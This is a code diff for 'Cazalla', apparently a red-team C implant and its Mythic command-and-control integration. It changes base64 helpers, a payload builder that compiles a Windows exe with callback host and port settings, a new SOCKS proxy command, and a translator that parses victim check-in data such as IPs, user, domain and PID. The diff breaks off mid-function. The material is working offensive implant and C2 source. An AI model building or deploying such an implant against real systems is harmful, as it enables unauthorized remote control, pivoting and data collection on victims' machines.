||||||
SIZE_T i;
|
SIZE_T i;
|
||||||
SIZE_T j;
|
SIZE_T j;
|
||||||
@@ -155,14 +133,12 @@ int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
|||||||
}
|
}
|
||||||
if (in[i + 3] != '=') {
|
if (in[i + 3] != '=') {
|
||||||
out[j + 2] = v & 0xFF;
|
out[j + 2] = v & 0xFF;
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
||||||
|
|
||||||
(buffer)[0] = (value >> 24) & 0xFF;
|
(buffer)[0] = (value >> 24) & 0xFF;
|
||||||
(buffer)[1] = (value >> 16) & 0xFF;
|
(buffer)[1] = (value >> 16) & 0xFF;
|
||||||
(buffer)[2] = (value >> 8) & 0xFF;
|
(buffer)[2] = (value >> 8) & 0xFF;
|
||||||
@@ -170,27 +146,67 @@ VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
|
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
|
||||||
|
buffer[7] = value & 0xFF; value >>= 8;
|
||||||
buffer[7] = value & 0xFF;
|
buffer[6] = value & 0xFF; value >>= 8;
|
||||||
value >>= 8;
|
buffer[5] = value & 0xFF; value >>= 8;
|
||||||
|
buffer[4] = value & 0xFF; value >>= 8;
|
||||||
buffer[6] = value & 0xFF;
|
buffer[3] = value & 0xFF; value >>= 8;
|
||||||
value >>= 8;
|
buffer[2] = value & 0xFF; value >>= 8;
|
||||||
|
buffer[1] = value & 0xFF; value >>= 8;
|
||||||
buffer[5] = value & 0xFF;
|
|
||||||
value >>= 8;
|
|
||||||
|
|
||||||
buffer[4] = value & 0xFF;
|
|
||||||
value >>= 8;
|
|
||||||
|
|
||||||
buffer[3] = value & 0xFF;
|
|
||||||
value >>= 8;
|
|
||||||
|
|
||||||
buffer[2] = value & 0xFF;
|
|
||||||
value >>= 8;
|
|
||||||
|
|
||||||
buffer[1] = value & 0xFF;
|
|
||||||
value >>= 8;
|
|
||||||
|
|
||||||
buffer[0] = value & 0xFF;
|
buffer[0] = value & 0xFF;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* =========================================================
|
||||||
|
Wrappers para interfaz simple de base64 (socks_manager)
|
||||||
|
- base64_decode: asigna *out con LocalAlloc; devuelve 1 en ok.
|
||||||
|
- base64_encode: asigna *out_b64 con LocalAlloc; devuelve 1 en ok.
|
||||||
|
========================================================= */
|
||||||
|
|
||||||
|
int base64_decode(const char *b64, unsigned char **out, size_t *out_len) {
|
||||||
|
if (!b64 || !out || !out_len) return 0;
|
||||||
|
SIZE_T need = b64tamanoDecodificado(b64);
|
||||||
|
if (need == 0) {
|
||||||
|
*out = NULL;
|
||||||
|
*out_len = 0;
|
||||||
|
return 1; /* empty input is OK */
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, need);
|
||||||
|
if (!buf) {
|
||||||
|
DBG_PRINTF("base64_decode: LocalAlloc failed for %zu bytes", need);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ok = b64Decodificado(b64, buf, need);
|
||||||
|
if (!ok) {
|
||||||
|
LocalFree(buf);
|
||||||
|
DBG_PRINTF("base64_decode: b64Decodificado failed");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
*out = buf;
|
||||||
|
*out_len = (size_t)need;
|
||||||
|
DBG_PRINTF("base64_decode: decoded %zu bytes", *out_len);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) {
|
||||||
|
if ((!data && dlen>0) || !out_b64) return 0;
|
||||||
|
if (dlen == 0) {
|
||||||
|
*out_b64 = (char*)LocalAlloc(LPTR, 1);
|
||||||
|
if (!*out_b64) return 0;
|
||||||
|
(*out_b64)[0] = '\0';
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
char *s = b64Codificado(data, (SIZE_T)dlen);
|
||||||
|
if (!s) {
|
||||||
|
DBG_PRINTF("base64_encode: b64Codificado failed");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* b64Codificado already uses LocalAlloc in original impl */
|
||||||
|
*out_b64 = s;
|
||||||
|
DBG_PRINTF("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|||||||
@@ -5,7 +5,8 @@
|
|||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
#include "debug.h"
|
#include "debug.h"
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
#ifdef __MINGW64__
|
#ifdef __MINGW64__
|
||||||
#define BYTESWAP32(x) __builtin_bswap32( x )
|
#define BYTESWAP32(x) __builtin_bswap32( x )
|
||||||
@@ -24,4 +25,12 @@ int aleatorioInt32(int min, int max);
|
|||||||
|
|
||||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
|
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
|
||||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
|
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
|
||||||
|
|
||||||
|
/* Wrappers compatibles con la interfaz usada por socks_manager.c */
|
||||||
|
int base64_decode(const char *b64, unsigned char **out, size_t *out_len);
|
||||||
|
/* Allocates *out via LocalAlloc; caller must LocalFree(*out). Returns 1 on success, 0 on fail. */
|
||||||
|
|
||||||
|
int base64_encode(const unsigned char *data, size_t dlen, char **out_b64);
|
||||||
|
/* Sets *out_b64 to a LocalAlloc'd null-terminated string. Returns 1 on success, 0 on fail. */
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -1,131 +1,134 @@
|
|||||||
import pathlib
|
import pathlib
|
||||||
import tempfile
|
import tempfile
|
||||||
from mythic_container.PayloadBuilder import *
|
from mythic_container.PayloadBuilder import *
|
||||||
from mythic_container.MythicCommandBase import *
|
from mythic_container.MythicCommandBase import *
|
||||||
from mythic_container.MythicRPC import *
|
from mythic_container.MythicRPC import *
|
||||||
import json
|
import json
|
||||||
from distutils.dir_util import copy_tree
|
from distutils.dir_util import copy_tree
|
||||||
import asyncio
|
import asyncio
|
||||||
|
|
||||||
|
|
||||||
class CazallaAgent(PayloadType):
|
class CazallaAgent(PayloadType):
|
||||||
name = "Cazalla"
|
name = "Cazalla"
|
||||||
file_extension = "exe"
|
file_extension = "exe"
|
||||||
author = "OFSTeam"
|
author = "OFSTeam"
|
||||||
supported_os = [SupportedOS.Windows]
|
supported_os = [SupportedOS.Windows]
|
||||||
wrapper = False
|
wrapper = False
|
||||||
wrapped_payloads = []
|
wrapped_payloads = []
|
||||||
note = """C implant Developed by the Kaseya OFSTeam"""
|
note = """C implant Developed by the Kaseya OFSTeam"""
|
||||||
supports_dynamic_loading = False
|
supports_dynamic_loading = False
|
||||||
c2_profiles = ["http"]
|
c2_profiles = ["http"]
|
||||||
mythic_encrypts = False
|
mythic_encrypts = False
|
||||||
translation_container = "cazalla_translator"
|
translation_container = "cazalla_translator"
|
||||||
build_parameters = [
|
build_parameters = [
|
||||||
BuildParameter(
|
BuildParameter(
|
||||||
name="output",
|
name="output",
|
||||||
parameter_type=BuildParameterType.ChooseOne,
|
parameter_type=BuildParameterType.ChooseOne,
|
||||||
description="Choose output format",
|
description="Choose output format",
|
||||||
choices=["exe", "dll", "debug_exe","debug_dll"],
|
choices=["exe", "dll", "debug_exe","debug_dll"],
|
||||||
default_value="exe"
|
default_value="exe"
|
||||||
),
|
),
|
||||||
]
|
]
|
||||||
agent_path = pathlib.Path(".") / "cazalla"
|
agent_path = pathlib.Path(".") / "cazalla"
|
||||||
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
|
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
|
||||||
agent_code_path = agent_path / "agent_code"
|
agent_code_path = agent_path / "agent_code"
|
||||||
|
|
||||||
build_steps = [
|
build_steps = [
|
||||||
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
|
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
|
||||||
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
|
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
|
||||||
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
|
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
|
||||||
]
|
]
|
||||||
|
|
||||||
async def build(self) -> BuildResponse:
|
async def build(self) -> BuildResponse:
|
||||||
# this function gets called to create an instance of your payload
|
resp = BuildResponse(status=BuildStatus.Success)
|
||||||
resp = BuildResponse(status=BuildStatus.Success)
|
Config = {
|
||||||
Config = {
|
"payload_uuid": self.uuid,
|
||||||
"payload_uuid": self.uuid,
|
"callback_host": "",
|
||||||
"callback_host": "",
|
"USER_AGENT": "",
|
||||||
"USER_AGENT": "",
|
"httpMethod": "POST",
|
||||||
"httpMethod": "POST",
|
"post_uri": "",
|
||||||
"post_uri": "",
|
"headers": [],
|
||||||
"headers": [],
|
"callback_port": 80,
|
||||||
"callback_port": 80,
|
"ssl": False,
|
||||||
"ssl":False,
|
"proxyEnabled": False,
|
||||||
"proxyEnabled": False,
|
"proxy_host": "",
|
||||||
"proxy_host": "",
|
"proxy_user": "",
|
||||||
"proxy_user": "",
|
"proxy_pass": "",
|
||||||
"proxy_pass": "",
|
}
|
||||||
}
|
|
||||||
stdout_err = ""
|
for c2 in self.c2info:
|
||||||
for c2 in self.c2info:
|
profile = c2.get_c2profile()
|
||||||
profile = c2.get_c2profile()
|
for key, val in c2.get_parameters_dict().items():
|
||||||
for key, val in c2.get_parameters_dict().items():
|
if isinstance(val, dict) and 'enc_key' in val:
|
||||||
if isinstance(val, dict) and 'enc_key' in val:
|
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
|
||||||
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
|
else:
|
||||||
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
|
Config[key] = val
|
||||||
else:
|
break
|
||||||
Config[key] = val
|
|
||||||
break
|
if "https://" in Config["callback_host"]:
|
||||||
|
Config["ssl"] = True
|
||||||
if "https://" in Config["callback_host"]:
|
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
|
||||||
Config["ssl"] = True
|
if Config["proxy_host"] != "":
|
||||||
|
Config["proxyEnabled"] = True
|
||||||
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
|
|
||||||
if Config["proxy_host"] != "":
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
Config["proxyEnabled"] = True
|
PayloadUUID=self.uuid,
|
||||||
# create the payload
|
StepName="Gathering Files",
|
||||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
StepStdout="Found all files for payload",
|
||||||
PayloadUUID=self.uuid,
|
StepSuccess=True
|
||||||
StepName="Gathering Files",
|
))
|
||||||
StepStdout="Found all files for payload",
|
|
||||||
StepSuccess=True
|
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
||||||
))
|
|
||||||
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
# copia el proyecto completo (no solo agent_code)
|
||||||
copy_tree(str(self.agent_code_path), agent_build_path.name)
|
copy_tree(str(self.agent_path), agent_build_path.name)
|
||||||
|
|
||||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
PayloadUUID=self.uuid,
|
PayloadUUID=self.uuid,
|
||||||
StepName="Applying configuration",
|
StepName="Applying configuration",
|
||||||
StepStdout="All configuration setting applied",
|
StepStdout="All configuration setting applied",
|
||||||
StepSuccess=True
|
StepSuccess=True
|
||||||
))
|
))
|
||||||
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
|
|
||||||
content = f.read()
|
# 🔧 FIX: rutas corregidas para la estructura agent_code/cazalla/
|
||||||
content = content.replace("%UUID%", Config["payload_uuid"])
|
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
|
||||||
content = content.replace("%HOSTNAME%", Config["callback_host"])
|
with open(config_path, "r+") as f:
|
||||||
content = content.replace("%ENDPOINT%", Config["post_uri"])
|
content = f.read()
|
||||||
if Config["ssl"]:
|
content = content.replace("%UUID%", Config["payload_uuid"])
|
||||||
content = content.replace("%SSL%", "TRUE")
|
content = content.replace("%HOSTNAME%", Config["callback_host"])
|
||||||
else:
|
content = content.replace("%ENDPOINT%", Config["post_uri"])
|
||||||
content = content.replace("%SSL%", "FALSE")
|
content = content.replace("%SSL%", "TRUE" if Config["ssl"] else "FALSE")
|
||||||
content = content.replace("%PORT%", str(Config["callback_port"]))
|
content = content.replace("%PORT%", str(Config["callback_port"]))
|
||||||
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
|
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
|
||||||
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
|
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
|
||||||
content = content.replace("%PROXYURL%", Config["proxy_host"])
|
content = content.replace("%PROXYURL%", Config["proxy_host"])
|
||||||
if Config["proxyEnabled"]:
|
content = content.replace("%PROXYENABLED%", "TRUE" if Config["proxyEnabled"] else "FALSE")
|
||||||
content = content.replace("%PROXYENABLED%", "TRUE")
|
f.seek(0)
|
||||||
else:
|
f.write(content)
|
||||||
content = content.replace("%PROXYENABLED%", "FALSE")
|
f.truncate()
|
||||||
f.seek(0)
|
|
||||||
f.write(content)
|
command = f"make -C {agent_build_path.name}/agent_code/cazalla exe"
|
||||||
f.truncate()
|
filename = f"{agent_build_path.name}/agent_code/cazalla/build/cazalla.exe"
|
||||||
|
|
||||||
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
|
# proc = await asyncio.create_subprocess_shell(
|
||||||
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
|
# command,
|
||||||
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
|
# stdout=asyncio.subprocess.PIPE,
|
||||||
stderr=asyncio.subprocess.PIPE)
|
# stderr=asyncio.subprocess.PIPE
|
||||||
|
# )
|
||||||
stdout, stderr = await proc.communicate()
|
|
||||||
print(stdout)
|
# stdout, stderr = await proc.communicate()
|
||||||
print(stderr)
|
# print(stdout.decode(), stderr.decode())
|
||||||
|
|
||||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
proc = await asyncio.create_subprocess_shell(command)
|
||||||
PayloadUUID=self.uuid,
|
await proc.wait()
|
||||||
StepName="Compiling",
|
|
||||||
StepStdout="Successfuly compiled Ra",
|
|
||||||
StepSuccess=True
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
))
|
PayloadUUID=self.uuid,
|
||||||
build_msg = ""
|
StepName="Compiling",
|
||||||
resp.payload = open(filename, "rb").read()
|
StepStdout="Successfully compiled cazalla",
|
||||||
|
StepSuccess=True
|
||||||
return resp
|
))
|
||||||
|
|
||||||
|
resp.payload = open(filename, "rb").read()
|
||||||
|
return resp
|
||||||
|
|||||||
@@ -0,0 +1,114 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import (
|
||||||
|
SendMythicRPCProxyStartCommand,
|
||||||
|
MythicRPCProxyStartMessage,
|
||||||
|
SendMythicRPCProxyStopCommand,
|
||||||
|
MythicRPCProxyStopMessage,
|
||||||
|
CALLBACK_PORT_TYPE_SOCKS
|
||||||
|
)
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
|
||||||
|
logging.basicConfig(level=logging.INFO)
|
||||||
|
|
||||||
|
|
||||||
|
class SocksArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="action",
|
||||||
|
type=ParameterType.ChooseOne,
|
||||||
|
description="Acción a realizar (start/stop)",
|
||||||
|
choices=["start", "stop"],
|
||||||
|
default_value="start",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(required=True, ui_position=1)]
|
||||||
|
),
|
||||||
|
CommandParameter(
|
||||||
|
name="port",
|
||||||
|
type=ParameterType.Number,
|
||||||
|
description="Puerto local a exponer (solo para start)",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=2)]
|
||||||
|
),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) == 0:
|
||||||
|
raise ValueError("Debe especificar 'start' o 'stop'.")
|
||||||
|
parts = self.command_line.strip().split()
|
||||||
|
action = parts[0].lower()
|
||||||
|
|
||||||
|
if action not in ["start", "stop"]:
|
||||||
|
raise ValueError("Acción debe ser 'start' o 'stop'.")
|
||||||
|
|
||||||
|
# Parsear puerto (opcional para ambos)
|
||||||
|
# Si no se especifica, usar 7002 como default (puerto común para SOCKS en Mythic)
|
||||||
|
port = int(parts[1]) if len(parts) > 1 else 7002
|
||||||
|
self.add_arg("port", port)
|
||||||
|
self.add_arg("action", action)
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
action = dictionary_arguments.get("action", "start")
|
||||||
|
# Si no hay puerto, usar 7002 como default
|
||||||
|
if "port" not in dictionary_arguments:
|
||||||
|
dictionary_arguments["port"] = 7002
|
||||||
|
self.load_args_from_dictionary(dictionary_arguments)
|
||||||
|
|
||||||
|
|
||||||
|
class SocksCommand(CommandBase):
|
||||||
|
cmd = "socks"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "socks start [port] / socks stop [port]"
|
||||||
|
description = "Inicia o detiene el proxy SOCKS en el servidor Mythic. Puerto por defecto: 7002"
|
||||||
|
version = 1
|
||||||
|
author = "OFSTeam"
|
||||||
|
argument_class = SocksArguments
|
||||||
|
attackmapping = []
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows],
|
||||||
|
builtin=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
|
action = task.args.get_arg("action")
|
||||||
|
port = task.args.get_arg("port")
|
||||||
|
task.display_params = f"{action.upper()} (puerto {port})" if action == "start" else "STOP"
|
||||||
|
return task
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
|
||||||
|
|
||||||
|
action = taskData.args.get_arg("action")
|
||||||
|
port = taskData.args.get_arg("port") if taskData.args.get_arg("port") else 7002
|
||||||
|
|
||||||
|
try:
|
||||||
|
if action == "start":
|
||||||
|
resp = await SendMythicRPCProxyStartCommand(MythicRPCProxyStartMessage(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
LocalPort=port,
|
||||||
|
PortType=CALLBACK_PORT_TYPE_SOCKS
|
||||||
|
))
|
||||||
|
logging.info(f"SOCKS proxy started on port {port}: {resp}")
|
||||||
|
if not resp.Success:
|
||||||
|
response.Success = False
|
||||||
|
response.Error = resp.Error
|
||||||
|
elif action == "stop":
|
||||||
|
# MythicRPCProxyStopMessage también requiere Port y PortType
|
||||||
|
resp = await SendMythicRPCProxyStopCommand(MythicRPCProxyStopMessage(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Port=port,
|
||||||
|
PortType=CALLBACK_PORT_TYPE_SOCKS
|
||||||
|
))
|
||||||
|
logging.info(f"SOCKS proxy stopped: {resp}")
|
||||||
|
if not resp.Success:
|
||||||
|
response.Success = False
|
||||||
|
response.Error = resp.Error
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"Error en SOCKS RPC: {e}")
|
||||||
|
response.Success = False
|
||||||
|
response.Error = str(e)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
@@ -13,7 +13,11 @@ commands = {
|
|||||||
"pwd": {"hex_code": 0x22, "input_type": None},
|
"pwd": {"hex_code": 0x22, "input_type": None},
|
||||||
"cp": {"hex_code": 0x23, "input_type": "string"},
|
"cp": {"hex_code": 0x23, "input_type": "string"},
|
||||||
"mkdir": {"hex_code": 0x24, "input_type": "string"},
|
"mkdir": {"hex_code": 0x24, "input_type": "string"},
|
||||||
"rm": {"hex_code": 0x25, "input_type": "string"}
|
"rm": {"hex_code": 0x25, "input_type": "string"},
|
||||||
|
# Added SOCKS control commands
|
||||||
|
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
||||||
|
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
||||||
|
"socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente
|
||||||
}
|
}
|
||||||
|
|
||||||
def responseTasking(tasks):
|
def responseTasking(tasks):
|
||||||
@@ -62,9 +66,28 @@ def responseTasking(tasks):
|
|||||||
parameters = json.loads(task["parameters"])
|
parameters = json.loads(task["parameters"])
|
||||||
data += len(parameters).to_bytes(4, "big")
|
data += len(parameters).to_bytes(4, "big")
|
||||||
for param in parameters:
|
for param in parameters:
|
||||||
|
# Expecting integer values in parameters dict
|
||||||
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
|
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
|
||||||
else:
|
else:
|
||||||
data += b"\x00\x00\x00\x00"
|
data += b"\x00\x00\x00\x00"
|
||||||
|
dataTask += len(data).to_bytes(4, "big") + data
|
||||||
|
|
||||||
|
elif commands[command_to_run]["input_type"] == "socks_special":
|
||||||
|
# Comando SOCKS: parsea action para decidir entre START (0x60) o STOP (0x61)
|
||||||
|
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
|
||||||
|
action = parameters.get("action", "start")
|
||||||
|
port = parameters.get("port", 1080)
|
||||||
|
|
||||||
|
if action == "start":
|
||||||
|
# START_SOCKS_CMD (0x60) + task_id + puerto
|
||||||
|
data = bytes([0x60]) + task_id
|
||||||
|
data += port.to_bytes(4, "big")
|
||||||
|
print(f"[DEBUG] SOCKS START: port={port}")
|
||||||
|
else:
|
||||||
|
# STOP_SOCKS_CMD (0x61) + task_id (sin parámetros)
|
||||||
|
data = bytes([0x61]) + task_id
|
||||||
|
print(f"[DEBUG] SOCKS STOP")
|
||||||
|
|
||||||
dataTask += len(data).to_bytes(4, "big") + data
|
dataTask += len(data).to_bytes(4, "big") + data
|
||||||
|
|
||||||
dataToSend = dataHead + dataTask
|
dataToSend = dataHead + dataTask
|
||||||
@@ -84,4 +107,4 @@ def responsePosting(responses):
|
|||||||
data += b"\x01"
|
data += b"\x01"
|
||||||
else:
|
else:
|
||||||
data += b"\x00"
|
data += b"\x00"
|
||||||
return data
|
return data
|
||||||
|
|||||||
@@ -2,12 +2,12 @@ from translator.utils import *
|
|||||||
import ipaddress
|
import ipaddress
|
||||||
import json
|
import json
|
||||||
|
|
||||||
|
|
||||||
def checkIn(data):
|
def checkIn(data):
|
||||||
|
|
||||||
# Retrieve UUID
|
# Retrieve UUID
|
||||||
uuid = data[:36]
|
uuid = data[:36]
|
||||||
data = data[36:]
|
data = data[36:]
|
||||||
|
|
||||||
# Retrieve IPs
|
# Retrieve IPs
|
||||||
numIPs = int.from_bytes(data[0:4])
|
numIPs = int.from_bytes(data[0:4])
|
||||||
data = data[4:]
|
data = data[4:]
|
||||||
@@ -19,11 +19,11 @@ def checkIn(data):
|
|||||||
addr = str(ipaddress.ip_address(ip))
|
addr = str(ipaddress.ip_address(ip))
|
||||||
IPs.append(addr)
|
IPs.append(addr)
|
||||||
i += 1
|
i += 1
|
||||||
|
|
||||||
# Retrieve OS
|
# Retrieve OS
|
||||||
targetOS, data = getBytesWithSize(data)
|
targetOS, data = getBytesWithSize(data)
|
||||||
|
|
||||||
# Retrive Architecture
|
# Retrieve Architecture
|
||||||
archOS = data[0]
|
archOS = data[0]
|
||||||
if archOS == 0x64:
|
if archOS == 0x64:
|
||||||
archOS = "x64"
|
archOS = "x64"
|
||||||
@@ -32,7 +32,7 @@ def checkIn(data):
|
|||||||
else:
|
else:
|
||||||
archOS = ""
|
archOS = ""
|
||||||
data = data[1:]
|
data = data[1:]
|
||||||
|
|
||||||
# Retrieve HostName
|
# Retrieve HostName
|
||||||
hostname, data = getBytesWithSize(data)
|
hostname, data = getBytesWithSize(data)
|
||||||
|
|
||||||
@@ -41,7 +41,7 @@ def checkIn(data):
|
|||||||
|
|
||||||
# Retrieve Domaine
|
# Retrieve Domaine
|
||||||
domain, data = getBytesWithSize(data)
|
domain, data = getBytesWithSize(data)
|
||||||
|
|
||||||
# Retrieve PID
|
# Retrieve PID
|
||||||
pid = int.from_bytes(data[0:4])
|
pid = int.from_bytes(data[0:4])
|
||||||
data = data[4:]
|
data = data[4:]
|
||||||
@@ -49,34 +49,34 @@ def checkIn(data):
|
|||||||
# Retrieve Process Name
|
# Retrieve Process Name
|
||||||
processName, data = getBytesWithSize(data)
|
processName, data = getBytesWithSize(data)
|
||||||
|
|
||||||
#Retrieve External IP
|
# Retrieve External IP
|
||||||
externalIP, data = getBytesWithSize(data)
|
externalIP, data = getBytesWithSize(data)
|
||||||
|
|
||||||
dataJson = {
|
dataJson = {
|
||||||
"action": "checkin",
|
"action": "checkin",
|
||||||
"ips": IPs,
|
"ips": IPs,
|
||||||
"os": targetOS.decode('cp850'),
|
"os": targetOS.decode('cp850'),
|
||||||
"user": username.decode('cp850'),
|
"user": username.decode('cp850'),
|
||||||
"host": hostname.decode('cp850'),
|
"host": hostname.decode('cp850'),
|
||||||
"domain": domain.decode('UTF-16LE'),
|
"domain": domain.decode('UTF-16LE'),
|
||||||
"process_name":processName.decode('cp850'),
|
"process_name": processName.decode('cp850'),
|
||||||
"pid": pid,
|
"pid": pid,
|
||||||
"uuid": uuid.decode('cp850'),
|
"uuid": uuid.decode('cp850'),
|
||||||
"architecture": archOS ,
|
"architecture": archOS,
|
||||||
"externalIP": externalIP.decode('cp850'),
|
"externalIP": externalIP.decode('cp850'),
|
||||||
}
|
}
|
||||||
|
|
||||||
return dataJson
|
return dataJson
|
||||||
|
|
||||||
|
|
||||||
def getTasking(data):
|
def getTasking(data):
|
||||||
numTasks = int.from_bytes(data[0:4])
|
numTasks = int.from_bytes(data[0:4])
|
||||||
dataJson = { "action": "get_tasking", "tasking_size": numTasks }
|
dataJson = {"action": "get_tasking", "tasking_size": numTasks}
|
||||||
return dataJson
|
return dataJson
|
||||||
|
|
||||||
|
|
||||||
def postResponse(data):
|
def postResponse(data):
|
||||||
print("Tamaño del Base64 recibido: {len(data)} bytes")
|
print(f"Tamaño del Base64 recibido: {len(data)} bytes")
|
||||||
|
|
||||||
resTaks = []
|
resTaks = []
|
||||||
uuidTask = data[:36]
|
uuidTask = data[:36]
|
||||||
@@ -84,29 +84,44 @@ def postResponse(data):
|
|||||||
|
|
||||||
output, data = getBytesWithSize(data)
|
output, data = getBytesWithSize(data)
|
||||||
|
|
||||||
print("Tamaño después de extraer UUID: {len(data)} bytes")
|
print(f"Tamaño después de extraer UUID: {len(data)} bytes")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
decoded_output = output.decode('cp850')
|
decoded_output = output.decode('cp850')
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print("Fallo al decodificar la salida: {e}")
|
print(f"Fallo al decodificar la salida: {e}")
|
||||||
decoded_output = "[ERROR DECODIFICANDO]"
|
decoded_output = "[ERROR DECODIFICANDO]"
|
||||||
|
|
||||||
jsonTask = {
|
jsonTask = {
|
||||||
"task_id": uuidTask.decode('cp850'),
|
"task_id": uuidTask.decode('cp850'),
|
||||||
"user_output": decoded_output,
|
"user_output": decoded_output,
|
||||||
|
"completed": True,
|
||||||
}
|
}
|
||||||
|
|
||||||
jsonTask["completed"] = True
|
|
||||||
resTaks.append(jsonTask)
|
resTaks.append(jsonTask)
|
||||||
|
|
||||||
dataJson = {
|
dataJson = {"action": "post_response", "responses": resTaks}
|
||||||
"action": "post_response",
|
|
||||||
"responses": resTaks
|
print(f"Respuesta generada: {json.dumps(dataJson, indent=4)}")
|
||||||
}
|
|
||||||
|
|
||||||
print("Respuesta generada: {json.dumps(dataJson, indent=4)}")
|
|
||||||
|
|
||||||
return dataJson
|
return dataJson
|
||||||
|
|
||||||
##FALLA ESTA MIERDA, PORQUE PARECE QUE LO QUE SE ENVIA ES CORRECTO, HAY QUE REVISAR ESTO
|
|
||||||
|
# ==========================================================
|
||||||
|
# NUEVAS FUNCIONES PARA SOPORTE SOCKS
|
||||||
|
# ==========================================================
|
||||||
|
|
||||||
|
def startSocks(data):
|
||||||
|
"""Parses incoming data for start_socks tasks."""
|
||||||
|
if len(data) >= 4:
|
||||||
|
port = int.from_bytes(data[:4], "big")
|
||||||
|
else:
|
||||||
|
